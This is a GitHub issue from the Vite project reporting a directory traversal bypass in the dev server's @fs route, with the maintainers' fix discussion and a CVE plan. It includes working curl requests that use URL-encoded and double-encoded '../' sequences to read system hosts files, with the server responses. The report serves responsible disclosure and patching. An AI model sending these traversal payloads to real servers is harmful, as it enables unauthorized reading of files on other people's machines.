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# Unrestricted directory traversal with @fs (Bypass) #8498

✓ Closed7 tasks donestypr opened this issue on Jun 8 · 4 comments · Fixed by #8804 or #8979

Labels

bug

p5-urgent 🔥

security

stypr commented on Jun 8 • edited ▾

## Describe the bug

The vulnerability found at [#2820](#) was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the `@fs` directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that `/@fs/home/test/` is the only allowed path, this can be bypassed by accessing `/@fs/home/test/%2e%2e%2f%2e%2e%2f`, which translates to `/@fs/home/test/../../../../` internally.

Since this way of access through the browser may output an inconsistent result, `curl --path-as-is` can be used as an alternative way to reproduce such issue.

## Reproduction

Any vite project is affected by this vulnerability.

```
npm init @vitejs/app app
cd app
npm install
npm run dev
```

## Reproduction in Windows

Accessing `C:/Windows/System32/drivers/etc/hosts` is blocked since the allow list only contains `C:/Users/stypr/Desktop/development/q/vite-project`.

```

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
* Trying ::1:3001...
* Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: *
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<

<body>
  <h1>403 Restricted</h1>
  <p>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow lis
  <style>
    body {
      padding: 1em 2em;
    }
  </style>
</body>
* Connection #0 to host localhost left intact
*

```

What if we access like `C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../../../Windows/System32/drivers/etc/hosts` ? In typical cases, this doesn't work

However, if we replace the path `../` as `%2e%2e%2f` and replace every trailing slashes to `%2f` , the check is bypassed and the path traversal becomes successful.

```

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%
* Trying ::1:3001...
* Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2f%2e%2e%2f%2e%
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT

```

```
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#       102.54.94.97       rhino.acme.com       # source server
#       38.25.63.10       x.acme.com           # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1         localhost
#       ::1               localhost
*a Connection #0 to host localhost left intact
```

## Reproduction in Linux

Linux is also pretty much the same, you can first get the whitelist path ( /srv/q/app ) by accessing a random path( /@fs/... ), and then do a path traversal based on the given whitelist.

```
curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhost
* Trying 192.168.125.129:3000...
* TCP_NODELAY set
* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
> Host: 192.168.125.129:3000
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 221
< Content-Type:
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
```

```
< Connection: keep-alive
< Keep-Alive: timeout=5
<
127.0.0.1      localhost
127.0.1.1      ubuntu

# The following lines are desirable for IPv6 capable hosts
::1          ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
* Connection #0 to host 192.168.125.129 left intact
```

## System Info

### Windows

#### System:

OS: Windows 10 10.0.19044  
CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor  
Memory: 33.13 GB / 63.93 GB

#### Binaries:

Node: 16.13.2 - C:\Program Files\nodejs\node.EXE  
Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD  
npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD

#### Browsers:

Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)  
Internet Explorer: 11.0.19041.1566

#### npmPackages:

@vitejs/plugin-vue: ^2.3.3 => 2.3.3  
vite: ^2.9.9 => 2.9.10

### Linux

#### System:

OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)  
CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor  
Memory: 12.21 GB / 15.59 GB  
Container: Yes  
Shell: 5.0.17 - /bin/bash

#### Binaries:

Node: 14.18.3 - /usr/bin/node  
Yarn: 1.22.10 - /usr/bin/yarn  
npm: 6.14.15 - /usr/bin/npm

#### Browsers:

Chrome: 97.0.4692.99  
Firefox: 100.0.2



## Used Package Manager

npm

## Validations

- ✓ Follow our [Code of Conduct](#)
- ✓ Read the [Contributing Guidelines](#).
- ✓ Read the [docs](#).
- ✓ Check that there isn't [already an issue](#) that reports the same bug to avoid creating a duplicate.
- ✓ Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to <https://github.com/vuejs/core> instead.
- ✓ Check that this is a concrete bug. For Q&A open a [GitHub Discussion](#) or join our [Discord Chat Server](#).
- ✓ The provided reproduction is a [minimal reproducible example](#) of the bug.



  **stypr** added the **pending triage** label on Jun 8

  **stypr** changed the title ~~Unrestricted directory traversal with @fs~~ (Bypass) Unrestricted directory traversal with @fs (Bypass) on Jun 8

jonsoku2 commented on Jun 8

Good

  **sodatea** added **bug** **p5-urgent**  **security** and removed **pending triage** labels on Jun 8

  **rootarcher** mentioned this issue on Jun 15

add poc-yaml-vite-path-traversal chaitin/xray#1629

 Open

 **sapphi-red** added a commit to sapphi-red/vite that referenced this issue on Jun 26

 fix: /@fs/ dir traversal with escaped chars (fixes [vitejs#8498](#))

✗ 3a9168b

  **sapphi-red** mentioned this issue on Jun 26

## fix: /@fs/ dir traversal with escaped chars (fixes #8498) #8804


 Merged

 9 tasks


 **sapphi-red** added a commit to sapphi-red/vite that referenced this issue on Jun 26

 fix: /@fs/ dir traversal with escaped chars (fixes vitejs#8498) f6c34ad

 **patak-dev** closed this as completed in #8804 on Jun 27

 **patak-dev** pushed a commit that referenced this issue on Jun 27

 fix: /@fs/ dir traversal with escaped chars (fixes #8498) (#8804) ✓ 6851009

 **patak-dev** pushed a commit that referenced this issue on Jun 27

 fix: backport #8804, /@fs/ dir traversal with escaped chars (fixes #8498 ... ✗ e109d64

**styp**r commented on Jun 27 • edited ▾

Author

@patak-dev

Do you guys have plans to add security advisory for this?  
If not, I'm planning to request a CVE for this issue.

 1


**patak-dev** commented on Jun 27 • edited ▾

Member

@styp

r we think that a CVE is the best here, as we don't have another way to reach everybody. Please move ahead with the request, and thanks for the report.

Timeline:

- server.fsServer.strict released as experimental + opt-in in 2.3.1, providing a way to fix  **Unrestricted directory traversal with @fs** #2820
- Also from 2.3.1, by default vite listen only to localhost, and exposing to the network was made opt-in (--host)
- Released as the default in 2.7.0, renamed to server.fs.strict

- Vulnerability report  [Unrestricted directory traversal with @fs \(Bypass\) #8498](#)
- Patched with  [fix: /@fs/ dir traversal with escaped chars \(fixes #8498\) #8804](#), and released in [2.9.13](#)

Users should avoid using exposing the network (as with `--host`) in <2.9.12, the issue is still there by default, but only through localhost so it is less problematic.

[vite@3.0.0-beta.4](#) also includes the fix



stypr commented on Jun 29 • edited ▾

Author

@patak-dev

I checked it sometime today and I think it's still\* possible to bypass with the latest version...  
I think there has to be some alternative way to filter this with a different strategy. `decodeURI` doesn't seem to be a good solution. Tested on 2.9.13

`%252e.%2f` eventually becomes `%2e./`, so the path traversal seems to work again.

← → ↺ ⓘ localhost:3000/@fs/C:/Users/stypr/Desktop/development/harold.kim/.%252e/.%252e/.%252e/.%252e/.%252e/Windows/System32/drivers/etc/hosts

```
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97      rhino.acme.com          # source server
#      38.25.63.10      x.acme.com             # x client host


# localhost name resolution is handled within DNS itself.
#      127.0.0.1        localhost
#      ::1              localhost
```



 patak-dev reopened this on Jun 29


 This was referenced on Jul 7

**Filter files more flexibly** [lukeed/sirv#139](#)


 Closed

**fix: re-encode url to prevent fs.allow bypass (fixes #8498) #8979**

Merged

 **patak-dev** closed this as completed in [#8979](#) on Jul 8

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 **patak-dev** pushed a commit that referenced this issue on Jul 8


 fix: re-encode url to prevent fs.allow bypass (fixes [#8498](#)) ([#8979](#)) ✓ b835699

  **sapphi-red** mentioned this issue on Jul 8

**fix: backport [#8979](#), re-encode url to prevent fs.allow bypass (fixes [#8498](#)) [#8990](#)**

Merged

 9 tasks

 **patak-dev** pushed a commit that referenced this issue on Jul 8

 fix: backport [#8979](#), re-encode url to prevent fs.allow bypass (fixes [#...](#)) ✓ adb61c5

 **github-actions** bot locked and limited conversation to collaborators on Jul 22

#### Assignees

No one assigned

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#### Labels

bug p5-urgent 🔥 security

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#### Projects

None yet

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#### Milestone

No milestone

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#### Development

Successfully merging a pull request may close this issue.

 **fix: [/@fs/ dir traversal with escaped chars \(fixes \[#8498\]\(#\)\)](#)**  
sapphi-red/vite



fix: re-encode url to prevent fs.allow bypass (fixes #8498)  
sapphi-red/vite

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4 participants

